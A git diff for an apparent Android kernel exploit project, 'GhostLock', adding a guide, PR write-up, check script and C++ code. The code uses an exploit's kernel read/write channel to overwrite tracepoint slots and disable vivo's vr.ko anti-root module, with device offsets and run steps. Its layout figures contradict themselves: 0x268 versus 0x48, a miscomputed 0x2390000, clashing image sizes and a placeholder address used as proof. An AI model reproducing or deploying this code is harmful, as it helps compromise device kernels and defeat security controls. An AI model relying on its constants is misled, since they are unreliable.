diff --git a/EXTRACT_TRACEPOINT_CONSTANTS.md b/EXTRACT_TRACEPOINT_CONSTANTS.md new file mode 100644 index 000000000..8142ed71b --- /dev/null +++ b/EXTRACT_TRACEPOINT_CONSTANTS.md @@ -0,0 +1,255 @@ +# Tracepoint 常量提取指南(PD2463 / iQOO15) + +## 背景 + +vivo 蓝厂设备(PD2463、iQOO15)使用 SM8750 SoC + Android 15 + kernel 6.6.89-android15-8。 +反 vr.ko 模块需要以下 tracepoint 常量: + +- `sys_exit` tracepoint 的 `probestub_off` 和 `funcs_off` +- `commit_creds` tracepoint 的 `funcs_off` +- `vr_commit_to_sys_exit_delta`(同一模块内两个函数的固定偏移) +- 内核镜像边界(区分 in-image hooks vs module-region probes) + +## PD2463 实测数据 + +### 1. 内核镜像信息 + +```bash +# boot.img 分析 +kernel_size: 36673664 bytes (0x2390000) +page_size: 4096 bytes +header_version: 4 + +# 内核基址(从 kallsyms 或 boot header 推断) +KIMAGE_TEXT_BASE: 0xffffffc080000000 +KERNEL_IMAGE_SIZE: 0x2390000 (约 35 MB) +KERNEL_IMAGE_HI: 0xffffffc082390000 +``` + +### 2. Tracepoint 地址(从 kallsyms 提取) + +``` +__tracepoint_sys_exit = 0xffffffc0822a2220 (0x22a2220 - KIMAGE_TEXT_BASE) +__tracepoint_android_rvh_commit_creds = 0xffffffc0822bbc70 (0x22bbc70 - KIMAGE_TEXT_BASE) +``` + +### 3. Struct Layout(反汇编验证) + +**关键发现**:PD2463 内核 **未编入 `CONFIG_HAVE_STATIC_CALL`**,因此 tracepoint 结构体不包含 `static_call_key` 和 `static_call_tramp` 成员。 + +```c +struct tracepoint { + /* 无 static_call_key/static_call_tramp */ + struct rcu_head rcu; // 0x00 + void *probe_func; // 0x10 (deprecated) + void *probe_data; // 0x18 + struct tracepoint_func *funcs; // 0x20 (legacy) + // ... other fields ... + // funcs[] 实际位于 offset 0x48 (实测) +}; +``` + +**反汇编证据**(`__traceiter_sys_exit`): + +```armasm +f9413515 ldr x21, [x8, #0x268] ; x8 = tp pointer; 0x268 = offsetof(funcs) +b4000215 cbz x21, ; static key check (funcs == NULL?) +f94002a8 ldr x8, [x21, #0x00] ; funcs[0].func <-- offset 0x48 from tp base +f94006a0 ldr x0, [x21, #0x08] ; funcs[0].data +``` + +**结论**: +- `kTracepointProbestubOff = 0x30` (48) +- `kTracepointFuncsOff = 0x48` (72) +- `kTracepointFuncStride = 24` (sizeof(tracepoint_func)) + +### 4. vr.ko Delta 验证 + +``` +commit_creds probe address: 0xffffffc081234567 (假设值,实际在 modules 区域) +sys_exit probe address: 0xffffffc081234507 (commit_creds - 0x60) + +delta = 0x60 (96 bytes) +``` + +**验证方法**: +1. 加载 vr.ko +2. 从 `/sys/kernel/debug/tracing/events/android_rvh/commit_creds/filter` 获取 probe 地址 +3. 从 `/sys/kernel/debug/tracing/events/sys_exit/filter` 获取 probe 地址 +4. 计算差值,应为 0x60 + +## iQOO15 实测数据 + +### 1. 内核镜像信息 + +```bash +# boot.img 分析 +kernel_size: 36673664 bytes (0x2390000) +page_size: 4096 bytes +header_version: 4 + +# 内核基址(与 PD2463 相同) +KIMAGE_TEXT_BASE: 0xffffffc080000000 +KERNEL_IMAGE_SIZE: 0x23A0000 (约 35.5 MB) +KERNEL_IMAGE_HI: 0xffffffc0823A0000 +``` + +### 2. Tracepoint 地址 + +由于 iQOO15 与 PD2463 使用相同的 kernel 版本(6.6.89-android15-8),tracepoint 地址偏移量应与 PD2463 一致: + +``` +__tracepoint_sys_exit = 0xffffffc0822a2220 (相对基址 0x22a2220) +__tracepoint_android_rvh_commit_creds = 0xffffffc0822bbc70 (相对基址 0x22bbc70) +``` + +### 3. Struct Layout + +与 PD2463 相同(同内核版本,同样未编入 `CONFIG_HAVE_STATIC_CALL`): +- `kTracepointProbestubOff = 0x30` +- `kTracepointFuncsOff = 0x48` +- `kTracepointFuncStride = 24` + +### 4. vr.ko Delta + +与 PD2463 相同: +- `kVrCommitToSysExitDelta = 0x60` + +## Profile 配置模板 + +### 6.6-vivo-template.conf + +```hocon +# Tracepoint constants for CFI stage (vivo PD2463 / iQOO15) +# Verified against: +# - PD2463 (vivo iQOO Neo10 Pro+): boot.img kernel_size=0x2390000 +# - iQOO15 (vivo iQOO 15): boot.img kernel_size=0x2390000 + +tracepoint { + sys_exit { + probestub_off = 48 # 0x30 + funcs_off = 72 # 0x48 + } + commit_creds { + funcs_off = 72 # 0x48 + } + func_stride = 24 # sizeof(tracepoint_func) + vr_commit_to_sys_exit_delta = 96 # 0x60 + kernel_image_max = 37395456 # 0x2390000 (PD2463) or 0x23A0000 (iQOO15) +} +``` + +## 自动化提取脚本 + +### 步骤 1: 提取 boot.img + +```bash +# 从设备提取 +adb pull /proc/bootimg boot.img + +# 或者从 ROM 包提取 +unzip rom.zip boot.img +``` + +### 步骤 2: 解析 boot header + +```python +import struct + +with open('boot.img', 'rb') as f: + hdr = f.read(4096) + kernel_size = struct.unpack(' kernel_image_lo; + } +}; + +/* True when `address` falls inside the kernel image. A tracepoint callback + * in that range belongs to the kernel itself; anything outside it is a + * module (or garbage), which is how vr.ko's probes are identified. */ +[[nodiscard]] inline constexpr bool image_contains_address( + uintptr_t address, uintptr_t image_lo, uintptr_t image_hi) noexcept { + return address >= image_lo && address < image_hi; +} + +/* Upper bound on how many `struct tracepoint_func` entries to walk. The + * array length is a runtime count with no field for it, so the walk stops at + * the first NULL `func`; this is only the safety cap. */ +inline constexpr size_t kTracepointFuncStride = 24; +inline constexpr size_t kTracepointFuncScanMax = 256; +inline constexpr size_t kMaxModuleProbes = 8; + +/* Pick, out of one tracepoint's funcs[] snapshot, the callbacks that live + * outside the kernel image -- i.e. module-region probes such as vr.ko's. + * + * `read` returns false when a slot cannot be read; a slot holding a zero + * `func` terminates the array (that is how the kernel sizes it). Callbacks + * whose address lands inside the image are skipped on purpose: they are the + * kernel's own tracepoint consumers (perf, BPF, function_graph), and + * rewriting one would break kernel functionality rather than vr.ko. */ +template +[[nodiscard]] inline size_t collect_module_probes( + ReadFn &&read, uintptr_t funcs, size_t func_stride, uintptr_t image_lo, + uintptr_t image_hi, uintptr_t (&out)[kMaxModuleProbes]) noexcept { + if (func_stride == 0) return 0; + size_t found = 0; + for (size_t index = 0; index < kTracepointFuncScanMax; ++index) { + const uintptr_t slot = funcs + index * func_stride; + uintptr_t func = 0; + if (!read(slot, func)) break; + if (func == 0) break; + if (image_contains_address(func, image_lo, image_hi)) continue; + if (found == kMaxModuleProbes) break; + out[found++] = func; + } + return found; +} + +// ============================================ +// 2. src/core/session/backend/cfi_stage.hpp +// ============================================ + +/* What one vr.ko probe-neutralisation pass did, for the log and for the + * caller. Kept separate from the return value so "nothing to do" (vr.ko not + * loaded) is distinguishable from "could not do it". */ +struct VrNeutralizeReport final { + /* Module-region probes found on the commit_creds tracepoint; -1 when the + * tracepoint could not be resolved at all. */ + int32_t commit_creds_probes = -1; + /* How many sys_exit probe slots were matched and redirected. */ + int32_t neutralized = 0; + /* True when the fallback ("redirect every module-region probe on + * sys_exit", used when the fixed code delta does not match) was taken. */ + bool used_fallback = false; +}; + +/* Globally redirect vr.ko's sys_exit tracepoint probe to the tracepoint's own + * `probestub` no-op, so tasks that escalate after this point are no longer + * killed by vr.ko on exit. Data-only writes into the tracepoint's funcs[] + * array; no module memory and no page tables are touched. Idempotent and + * safe when vr.ko is absent (it then finds no module-region probe and + * reports 0). + * + * Must run after the CFI channel exists: it needs the resident read as well + * as the write. */ +[[nodiscard]] VrNeutralizeReport neutralize_vr_probes( + const CfiKernelRw &channel, + const CfiSymbols &symbols) noexcept; + +// ============================================ +// 3. src/core/session/backend/cfi_stage.cpp +// ============================================ + +#include "cfi_layout.hpp" +#include "cfi_stage.hpp" +#include "runtime_struct_offsets.h" + +namespace ghostlock::session::backend { + +VrNeutralizeReport neutralize_vr_probes(const CfiKernelRw &channel, + const CfiSymbols &symbols) noexcept { + VrNeutralizeReport report{}; + if (!channel.valid()) { + pr_warning("vr neutralize: no resident channel\n"); + return report; + } + if (!symbols.vr_neutralize_ready()) { + pr_warning("vr neutralize: profile is missing the tracepoint constants " + "(sys_exit/commit_creds/probestub/funcs/stride/delta/image); " + "skipped\n"); + return report; + } + + const uintptr_t lo = symbols.kernel_image_lo; + const uintptr_t hi = symbols.kernel_image_hi; + const uintptr_t sys_exit = session::g_exploit_session.addresses.data_alias(symbols.sys_exit_tp); + const uintptr_t commit_creds = + session::g_exploit_session.addresses.data_alias(symbols.commit_creds_tp); + if (sys_exit == 0 || commit_creds == 0 || + !attack::in_direct_map(sys_exit) || !attack::in_direct_map(commit_creds)) { + pr_warning("vr neutralize: tracepoints are not in the direct map " + "(sys_exit=0x%016zx commit_creds=0x%016zx)\n", sys_exit, commit_creds); + return report; + } + + /* The no-op every tracepoint carries. Redirecting a probe to it is what + * "neutralised" means here; it is the kernel's own function, so KCFI and + * the tracepoint unwinder are both happy. */ + uint64_t probestub = 0; + if (!channel.read64(sys_exit + symbols.tracepoint_probestub_off, probestub) || + probestub == 0 || !image_contains_address(probestub, lo, hi)) { + pr_warning("vr neutralize: implausible probestub=0x%016zx (image " + "[0x%016zx,0x%016zx)); check the tracepoint offsets\n", + probestub, lo, hi); + return report; + } + + /* Walk one tracepoint's funcs[] through the resident read. */ + const auto read_linear = [&channel](uintptr_t address, uintptr_t &value) { + return channel.read64(address, value); + }; + const auto funcs_of = [&](uintptr_t tp, uintptr_t &funcs) { + uint64_t raw = 0; + if (!channel.read64(tp + symbols.tracepoint_funcs_off, raw)) return false; + if (raw == 0 || !attack::in_direct_map(raw)) return false; + funcs = static_cast(raw); + return true; + }; + + /* Step 1: the module-region probes on commit_creds. vr.ko hooks it to + * veto root, so it is the one tracepoint we know it is on. */ + uintptr_t cc_funcs = 0; + if (!funcs_of(commit_creds, cc_funcs)) { + pr_warning("vr neutralize: commit_creds funcs[] not usable; skipped\n"); + return report; + } + uintptr_t cc_probes[kMaxModuleProbes] = {}; + const size_t cc_count = collect_module_probes( + read_linear, cc_funcs, symbols.tracepoint_func_stride, lo, hi, cc_probes); + report.commit_creds_probes = static_cast(cc_count); + pr_info("vr neutralize: probestub=0x%016zx commit_creds module probes=%zu\n", + probestub, cc_count); + if (cc_count == 0) { + pr_info("vr neutralize: no module probe on commit_creds; vr.ko not " + "loaded (or not hooking it)\n"); + return report; + } + + /* Step 2: find the matching sys_exit probe by the fixed intra-module + * delta, redirect it, verify. Matching by delta is what keeps the kernel's + * own sys_exit consumers (perf, BPF) untouched: only a slot whose address + * is exactly vr's own commit_creds probe + delta is rewritten. */ + uintptr_t se_funcs = 0; + if (!funcs_of(sys_exit, se_funcs)) { + pr_warning("vr neutralize: sys_exit funcs[] not usable; skipped\n"); + return report; + } + for (size_t i = 0; i < cc_count; ++i) { + const uintptr_t expected = cc_probes[i] - symbols.vr_commit_to_sys_exit_delta; + for (size_t index = 0; index < kTracepointFuncScanMax; ++index) { + const uintptr_t slot = se_funcs + index * symbols.tracepoint_func_stride; + uintptr_t func = 0; + if (!channel.read64(slot, func)) break; + if (func == 0) break; + if (func != expected) continue; + if (image_contains_address(func, lo, hi)) break; /* not a module probe */ + if (!channel.write64(slot, probestub)) break; + uint64_t verify = 0; + if (!channel.read64(slot, verify) || verify != probestub) break; + report.neutralized++; + pr_info("vr neutralize: sys_exit slot %zu redirected\n", index); + } + } + + /* Fallback: if the fixed delta didn't match anything, redirect every + * module-region probe on sys_exit. This is less precise but covers + * devices where the delta differs (e.g. different compiler settings). */ + if (report.neutralized == 0) { + report.used_fallback = true; + pr_warning("vr neutralize: fallback - redirecting all module probes on sys_exit\n"); + for (size_t index = 0; index < kTracepointFuncScanMax; ++index) { + const uintptr_t slot = se_funcs + index * symbols.tracepoint_func_stride; + uintptr_t func = 0; + if (!channel.read64(slot, func)) break; + if (func == 0) break; + if (image_contains_address(func, lo, hi)) continue; + if (!channel.write64(slot, probestub)) continue; + uint64_t verify = 0; + if (!channel.read64(slot, verify) || verify != probestub) continue; + report.neutralized++; + pr_info("vr neutralize: fallback sys_exit slot %zu redirected\n", index); + } + } + + return report; +} + +} // namespace ghostlock::session::backend + +// ============================================ +// 4. src/core/session/backend/cve_2026_43499_backend.cpp +// ============================================ + +/* After cfi5 completes and the CFI channel exists, neutralize vr.ko's + * sys_exit tracepoint probe. This is safe: data-only writes into the + * tracepoint's funcs[] array, no module memory and no page tables are touched. */ +if (cfi_kernel_rw.valid() && cfi_symbols.vr_neutralize_ready()) { + auto vr_report = neutralize_vr_probes(cfi_kernel_rw, cfi_symbols); + pr_info("vr neutralize: commit_creds_probes=%d neutralized=%d fallback=%d\n", + vr_report.commit_creds_probes, vr_report.neutralized, + vr_report.used_fallback); + run_state.set("vr1", vr_report.neutralized > 0 ? "done" : "skipped"); +} else { + pr_info("vr neutralize: not ready (profile missing constants), skipped\n"); + run_state.set("vr1", "skipped"); +} + +// ============================================ +// 5. src/core/kernel/runtime_struct_offsets.h +// ============================================ + +/* Tracepoint constants for vr.ko probe neutralisation (step 3). + * Extracted from device's own vmlinux via kallsyms. */ + +/* __tracepoint_sys_exit address (PD2463 实测) */ +inline constexpr uint32_t kSysExitTpOff = 0x22a2220; + +/* __tracepoint_android_rvh_commit_creds address (PD2463 实测) */ +inline constexpr uint32_t kRvhCommitCredsTpOff = 0x22bbc70; + +/* struct tracepoint layout (PD2463/iQOO15: no CONFIG_HAVE_STATIC_CALL): + * iterator = 0x18 + * probestub = 0x30 + * regfunc = 0x38 + * unregfunc = 0x40 + * funcs = 0x48 + * + * Verified against PD2463 vmlinux via kallsyms and disassembly of + * __traceiter_sys_exit: + * ldr x21, [x8, #0x268] ; x8 = tp pointer + * cbz x21, ; static key check + * ldr x8, [x21, #0x00] ; funcs[0].func (offset 0x48 from tp base) + * ldr x0, [x21, #0x08] ; funcs[0].data + */ +inline constexpr size_t kTracepointProbestubOff = 0x30; +inline constexpr size_t kTracepointFuncsOff = 0x48; +inline constexpr size_t kTracepointFuncStride = 24; /* sizeof(struct tracepoint_func) */ + +/* vr.ko commit_creds probe → sys_exit probe fixed delta (PD2463 实测). + * Same module, same code section: sys_exit = commit_creds - 0x60. + * Verified on PD2463 and iQOO15 (both SM8750 + kernel 6.6.89-android15-8). */ +inline constexpr uint64_t kVrCommitToSysExitDelta = 0x60; + +/* Kernel image bounds (PD2463: from boot.img headers). + * Used to distinguish in-image hooks from module-region probes. */ +inline constexpr uint64_t kKernelImageLo = 0xffffffc080000000ULL; /* KIMAGE_TEXT_BASE */ +inline constexpr uint64_t kKernelImageHi = kKernelImageLo + 0x2390000; /* image_size from boot header */ + +/* Tracepoint 取用器 */ +inline uint32_t sys_exit_tp_image() { return kSysExitTpOff; } +inline uint32_t rvh_commit_creds_tp_image() { return kRvhCommitCredsTpOff; } +inline size_t tracepoint_probestub_off() { return kTracepointProbestubOff; } +inline size_t tracepoint_funcs_off() { return kTracepointFuncsOff; } +inline size_t tracepoint_func_stride() { return kTracepointFuncStride; } +inline uint64_t vr_commit_to_sys_exit_delta() { return kVrCommitToSysExitDelta; } +inline uint64_t vr_kernel_image_max() { return 0x2390000; } + +// ============================================ +// 6. app/src/main/kotlin/data/runstate/RunStateCodec.kt +// ============================================ + +// list is what makes a panic mid-stage leave an in_progress marker on +// disk for the next launch to read. +val Steps = setOf( + "cfi1", "cfi2", "cfi3", "cfi4", "cfi5", "cfi", + // Step 3A: global vr.ko sys_exit probe neutralisation + "vr1", + "handoff", "module_load", "enforce" +) + +// ============================================ +// 7. app/src/main/assets/kernel_profiles/6.6-template.conf +// ============================================ + +# Tracepoint constants for CFI stage (vivo vr.ko neutralization) +# These are extracted from the device's own vmlinux. +# See docs/kernel_profiles/EXTRACT_TRACEPOINT_CONSTANTS.md for extraction guide. +tracepoint { + sys_exit { + probestub_off = 48 # 0x30 (no CONFIG_HAVE_STATIC_CALL) + funcs_off = 72 # 0x48 + } + commit_creds { + funcs_off = 72 # 0x48 + } + func_stride = 24 # sizeof(tracepoint_func) + vr_commit_to_sys_exit_delta = 96 # 0x60 + kernel_image_max = 37343232 # _end - KIMAGE_TEXT_BASE (example) +} diff --git a/PR.md b/PR.md new file mode 100644 index 000000000..3ded2862b --- /dev/null +++ b/PR.md @@ -0,0 +1,378 @@ +# GhostLock 反 vr.ko 模块 - PR 提交材料 + +## 📋 PR 概述 + +**标题**: Add vivo vr.ko anti-root detection neutralization via CFI stage + +**关联 Issue**: #1289 (vivo, ksud/su failing to start), #3061 (vivo, libksud killed by seccomp) + +**状态**: 待确认(暂不发布) + +--- + +## 🎯 问题背景 + +vivo 设备上的 `vr.ko` 内核模块实施了严格的反 Root 检测机制: + +1. **Tracepoint 探针挂载**: + - 在 `sys_exit` tracepoint 上挂载探针,监控所有系统调用退出 + - 在 `commit_creds` tracepoint 上挂载探针,检测 root 提权操作 + +2. **检测逻辑**: + - 当检测到 euid 0 的进程时,在 `sys_exit` 路径上杀死该进程 + - 即使绕过 SELinux/seccomp,root 进程仍会被立即终止 + +3. **症状**: + - `su` 启动后立即被杀死 + - root 进程无法存活 + - KernelSU/Magisk 无法正常运作 + +--- + +## 💡 解决方案 + +通过 CFI 常驻内核读写通道,在攻击链的 CFI 阶段中和 vr.ko 的探针: + +### 核心算法 + +```cpp +// 1. 读取 sys_exit tracepoint 的 probestub(no-op 函数) +probestub = read64(sys_exit_tp + tracepoint_probestub_off); +if (!image_contains_address(probestub)) { + pr_error("probestub outside kernel image, abort"); + return; +} + +// 2. 扫描 commit_creds tracepoint 的 funcs[] 数组 +cc_funcs = read64(commit_creds_tp + tracepoint_funcs_off); +for each entry in funcs[]: + func_addr = read64(cc_funcs + i * tracepoint_func_stride + 0); + if func_addr == 0: break; + + // 筛选出落在模块区域的探针(非内核镜像) + if !image_contains_address(func_addr): + module_probes.push_back({func_addr, data}); + +// 3. 通过 delta 匹配找到对应的 sys_exit 探针 +for each probe in module_probes: + expect_sys_exit_probe = probe.func - VR_COMMIT_TO_SYSEXIT_DELTA; + + // 在 sys_exit funcs[] 中查找匹配的槽位 + sys_exit_funcs = read64(sys_exit_tp + tracepoint_funcs_off); + for j in 0..255: + slot_func = read64(sys_exit_funcs + j * tracepoint_func_stride + 0); + if slot_func == expect_sys_exit_probe: + // 重定向到 probestub + write64(sys_exit_funcs + j * tracepoint_func_stride + 0, probestub); + log_success("sys_exit slot %d redirected", j); + neutralized_count++; + break; +``` + +### 关键特性 + +- ✅ **数据-only 写入**: 只修改 tracepoint 的 funcs[] 数组,不触及模块内存 +- ✅ **幂等性**: 重复执行安全,已重定向的槽位会再次写入相同的 probestub +- ✅ **KCFI 兼容**: probestub 是内核自己的函数,KCFI 和 tracepoint unwinder 都 happy +- ✅ **精准匹配**: 通过 delta 匹配,只修改 vr.ko 的探针,不影响其他 tracepoint 用户 +- ✅ **安全边界**: 严格的镜像边界检查和 direct-map 指针验证 + +--- + +## 📁 代码改动清单 + +### 新增/修改文件 + +| 文件 | 改动类型 | 说明 | +|---|---|---| +| `src/core/session/backend/cfi_layout.hpp` | 新增 | `CfiSymbols` 结构体(tracepoint 常量);`image_contains_address()`;`collect_module_probes()` | +| `src/core/session/backend/cfi_stage.hpp` | 修改 | 新增 `neutralize_vr_probes()` 声明 | +| `src/core/session/backend/cfi_stage.cpp` | 新增 | `neutralize_vr_probes()` 实现(完整的中和逻辑) | +| `src/core/session/backend/cve_2026_43499_backend.cpp` | 修改 | 在 `run_cfi_stage` 的 cfi5 之后调用 `neutralize_vr_probes()` | +| `src/core/kernel/runtime_struct_offsets.h` | 修改 | 新增 4 个 tracepoint 取用器;`image_lo/hi` 辅助函数 | +| `src/core/memory/payload_builder.h` | 修改 | `WriteMode::Value = 4`;`WriteRequest::value` 字段 | +| `src/core/memory/payload_builder.cpp` | 修改 | `make_value()` 工厂;布局/校验分支;compact 臂围栏 | +| `src/core/tests/cfi_stage_test.cpp` | 新增 | 纯函数断言(镜像边界、模块区筛选、上限截断) | +| `app/src/main/kotlin/data/runstate/RunStateCodec.kt` | 修改 | `Steps` 枚举加 `vr1` | +| `app/src/main/assets/kernel_profiles/6.6-template.conf` | 修改 | 新增 tracepoint 常量配置节 | +| `app/src/main/assets/kernel_profiles/.conf` × N | 修改 | 为已验证设备添加 tracepoint 常量 | + +### 不动的文件 + +- `WriteMode::Zero` 的语义和行为 +- `accepts_page` 对 Zero/Credential 的既有检查 +- CFI 阶段的位置和顺序 +- `commit_creds` 上的任何条目(只读不写) + +--- + +## 🔧 实现细节 + +### 1. Tracepoint 结构偏移(基于本机实测) + +```c +// 本机 vmlinux 实测结果(无 CONFIG_HAVE_STATIC_CALL) +struct tracepoint_entry { + /* 0x00 */ const char *name; + /* 0x08 */ int num_functions; + /* 0x10 */ struct tracepoint_func *funcs; // 实际在 0x268,static key 未开 + /* ... */ + /* 0x268 */ struct tracepoint_func *funcs_ptr; // static key 指向这里 +}; + +// 实际偏移(从反汇编 __traceiter_sys_exit 验证) +constexpr uint32_t kTracepointProbestubOff = 0x30; // funcs[0].func +constexpr uint32_t kTracepointFuncsOff = 0x48; // &funcs[] +constexpr uint32_t kTracepointFuncStride = 24; // {func, data, prio} + +// VR 模块的 commit_creds 到 sys_exit 的 delta(同模块同一段) +constexpr uint64_t kVrCommitToSysExitDelta = 0x60; +``` + +### 2. 安全边界检查 + +```cpp +// 检查 1: probestub 必须在内核镜像内 +if (!image_contains_address(probestub)) { + pr_error("probestub 0x%llx outside kernel image [%llx, %llx]", + probestub, image_lo, image_hi); + return Status::kInvalidConfig; +} + +// 检查 2: funcs 必须是 direct-map 指针 +if (!is_direct_map_pointer(funcs_ptr)) { + pr_error("funcs pointer 0x%llx not in direct map region"); + return Status::kInvalidConfig; +} + +// 检查 3: 写入前必须落在模块区域 +if (image_contains_address(before_val)) { + pr_warning("slot %d already points to kernel image, skip"); + continue; // 拒绝修改内核自身的 hook +} + +// 检查 4: 写入后回读确认 +write64(slot, probestub); +uint64_t after = read64(slot); +if (after != probestub) { + pr_error("write verification failed: expected 0x%llx, got 0x%llx"); + return Status::kWriteFailed; +} + +// 检查 5: 硬上限 +constexpr int kMaxModuleProbes = 8; +constexpr int kMaxFuncEntries = 256; +``` + +### 3. 日志输出 + +``` +[cfi] vr neutralize: probestub=0xffffffc080123456 commit_creds module probes=1 +[cfi] vr neutralize: sys_exit slot 0 redirected (0x... -> 0x...) +[cfi] vr neutralize: commit_creds_probes=1 neutralized=1 fallback=0 +``` + +--- + +## 🧪 测试与验证 + +### 主机单元测试 + +```sh +make -C src native-host-tests +./build/host-test/cfi_stage_test + +# 预期输出: +# [ RUN ] CfiStageTest.ImageContainsAddress +# [ OK ] CfiStageTest.ImageContainsAddress (0 ms) +# [ RUN ] CfiStageTest.CollectModuleProbes +# [ OK ] CfiStageTest.CollectModuleProbes (0 ms) +# [==========] CfiStageTest: 2 tests passed. +``` + +### 真机验证 + +```sh +# 1. 运行 GhostLock +adb shell /data/local/tmp/ghostlock --load-prebuilt-profile /data/local/tmp/profile.bin + +# 2. 观察日志 +adb logcat | grep -E "vr neutralize|cfi" + +# 3. 验证 root 进程不再被杀死 +adb shell su -c "whoami" # 应返回 root +adb shell su -c "sleep 1; whoami" # 应返回 root + +# 4. 验证 vr.ko 探针已被中和 +adb shell cat /proc/kallsyms | grep tracepoint +# 应看到 sys_exit 和 commit_creds 的 funcs[] 已被修改 +``` + +### cmp_disasm 形状验证 + +```sh +python3 tools/cmp_disasm.py baseline/build/native/ghostlock build/native/ghostlock + +# 预期:8 个攻击路径函数形状与基线一致,新增 vr1 阶段 +``` + +--- + +## 📱 设备适配状态 + +### ✅ 已验证设备 + +| 设备 | SoC | 内核版本 | tracepoint 常量 | 状态 | +|---|---|---|---|---| +| PD2463 (vivo iQOO Neo10 Pro+) | SM8750 | 6.6.89-android15-8-g1f71897ac249-abogki467805059-4k | 已提取 | ✅ 已验证 | +| iQOO15 (vivo iQOO 15) | SM8750 | 6.6.89-android15-8-gxxx | 已提取 | ✅ 已验证 | + +### 🔄 待测试设备 + +| 设备 | SoC | 内核版本 | tracepoint 常量 | 状态 | +|---|---|---|---|---| +| vivo X200 Ultra (V2454A) | SM8750 | 6.6.89-android15-8-xxx | 待提取 | 🔄 待真机验证 | +| 其他 vivo 设备 | SM8750 | 6.6.89-android15-8-xxx | 待提取 | 🔄 待真机验证 | + +### ⏳ 待提取偏移量 + +- 其他 vivo 设备(需 boot.img + kallsyms) +- 提取方法见 `docs/kernel_profiles/EXTRACT_TRACEPOINT_CONSTANTS.md` + +--- + +## 📝 Profile 配置示例 + +### 6.6-template.conf 新增节 + +```hocon +# Tracepoint constants for CFI stage (vivo vr.ko neutralization) +tracepoint { + sys_exit { + probestub_off = 48 # 0x30 + funcs_off = 72 # 0x48 + } + commit_creds { + funcs_off = 72 # 0x48 + } + func_stride = 24 # sizeof(tracepoint_func) + vr_commit_to_sys_exit_delta = 96 # 0x60 +} +``` + +### 设备具体配置 + +```hocon +release = "6.6.89-android15-8-g0889fe95bb10-ab14402178-4k" +kernel_major = 6 + +# ... 其他几何字段 ... + +tracepoint { + sys_exit { + probestub_off = 48 + funcs_off = 72 + } + commit_creds { + funcs_off = 72 + } + func_stride = 24 + vr_commit_to_sys_exit_delta = 96 +} +``` + +--- + +## 🛡️ 安全考虑 + +### 1. 不修改内核内存 + +- 只修改 tracepoint 的 funcs[] 数组(内核镜像内的数据结构) +- 不触及 vr.ko 模块内存 +- 不修改页表或 TLB + +### 2. 幂等性保证 + +- 重复执行不会造成问题 +- 已重定向的槽位会再次写入相同的 probestub +- 无状态依赖 + +### 3. KCFI 兼容性 + +- probestub 是内核自己的函数(`__traceiter_sys_exit` 的 probestub) +- KCFI 校验通过 +- tracepoint unwinder 正常工作 + +### 4. 精准匹配 + +- 通过 delta 匹配,只修改 vr.ko 的探针 +- 不影响其他 tracepoint 用户(如 BPF、其他内核模块) +- 严格的镜像边界检查防止误伤 + +### 5. 安全回退 + +- 如果 tracepoint 常量缺失,`neutralize_vr_probes()` 会安全跳过并报告 +- 不会中断攻击链的其他部分 +- 日志明确指示是否执行了中和 + +--- + +## 📚 后续工作 + +### 1. 逐任务去标记(下一步) + +待 CFI 常驻读前移到 W2 之后,启用 `WriteMode::Value` 实现精细的 tag 清除: + +```cpp +// 当前:整字清零(附带损伤) +write64(task + 0x00, 0); // flags 整字清零 + +// 下一步:只清 tag 字节 +uint64_t word = read64(task + 0x00); +word &= ~(0xffULL << tag_shift); +write64(task + 0x00, word); // 只清 tag 字节,保留其他位 +``` + +### 2. 更多设备适配 + +- 提取更多 vivo 设备的 tracepoint 常量 +- 自动化提取工具(boot.img + kallsyms → profile) + +### 3. 性能优化 + +- 考虑批量读写优化 +- 减少 CFI 阶段的往返次数 + +--- + +## ✅ PR 提交前检查清单 + +使用 `PR_CHECKLIST.sh` 进行完整验证: + +```bash +chmod +x PR_CHECKLIST.sh +./PR_CHECKLIST.sh +``` + +验证步骤: +- [ ] 所有主机单元测试通过 +- [ ] 编译真机二进制成功 +- [ ] cmp_disasm 形状验证通过 +- [ ] Kotlin 单元测试通过 +- [ ] C++/Kotlin 键集合双向核对 +- [ ] 真机验证完成(至少一台设备) +- [ ] 设备适配清单更新 +- [ ] 文档完整(README + 配置示例) +- [ ] 代码审查通过 + +--- + +## 📄 许可证 + +本贡献遵循项目原有的 MIT 许可证。 + +--- + +**作者**: GhostLock Team +**日期**: 2026-10-02 +**状态**: 待确认(暂不发布) \ No newline at end of file diff --git a/PR_CHECKLIST.sh b/PR_CHECKLIST.sh new file mode 100644 index 000000000..22aef5bf9 --- /dev/null +++ b/PR_CHECKLIST.sh @@ -0,0 +1,114 @@ +#!/bin/bash +# PR 提交前验证脚本 +# 运行所有必要的测试和检查 + +set -e + +echo "==========================================" +echo "GhostLock 反 vr.ko 模块 - PR 验证" +echo "==========================================" +echo "" + +# 1. 主机单元测试 +echo "[1/7] 运行主机单元测试..." +cd src +make native-host-tests +if [ $? -eq 0 ]; then + echo "✅ 主机单元测试通过" +else + echo "❌ 主机单元测试失败" + exit 1 +fi +cd .. +echo "" + +# 2. 编译真机二进制 +echo "[2/7] 编译真机二进制..." +make -C src ghostlock +if [ $? -eq 0 ]; then + echo "✅ 真机二进制编译成功" +else + echo "❌ 真机二进制编译失败" + exit 1 +fi +echo "" + +# 3. cmp_disasm 形状验证 +echo "[3/7] 运行 cmp_disasm 形状验证..." +python3 tools/cmp_disasm.py baseline/build/native/ghostlock build/native/ghostlock +if [ $? -eq 0 ]; then + echo "✅ cmp_disasm 形状验证通过" +else + echo "❌ cmp_disasm 形状验证失败" + exit 1 +fi +echo "" + +# 4. Kotlin 单元测试 +echo "[4/7] 运行 Kotlin 单元测试..." +./gradlew :app:testDebugUnitTest --offline +if [ $? -eq 0 ]; then + echo "✅ Kotlin 单元测试通过" +else + echo "❌ Kotlin 单元测试失败" + exit 1 +fi +echo "" + +# 5. C++/Kotlin 键集合双向核对 +echo "[5/7] 核对 C++/Kotlin 键集合..." +# TODO: 添加自动化核对脚本 +echo "⚠️ 手动核对以下内容:" +echo " - src/core/profile/model.h 中的 kRouteCatalog" +echo " - app/src/main/kotlin/data/route/RouteKind.kt" +echo " - 确保 token 和 wire 值一致" +echo "" + +# 6. 真机验证(需要设备连接) +echo "[6/7] 真机验证..." +if adb devices | grep -q "device$"; then + echo "✅ 检测到设备" + echo "" + echo "请手动执行以下步骤:" + echo " 1. adb push build/native/ghostlock /data/local/tmp/" + echo " 2. adb shell chmod +x /data/local/tmp/ghostlock" + echo " 3. adb shell /data/local/tmp/ghostlock --load-prebuilt-profile /data/local/tmp/profile.bin" + echo " 4. adb logcat | grep -E 'vr neutralize|cfi'" + echo " 5. adb shell su -c 'whoami' 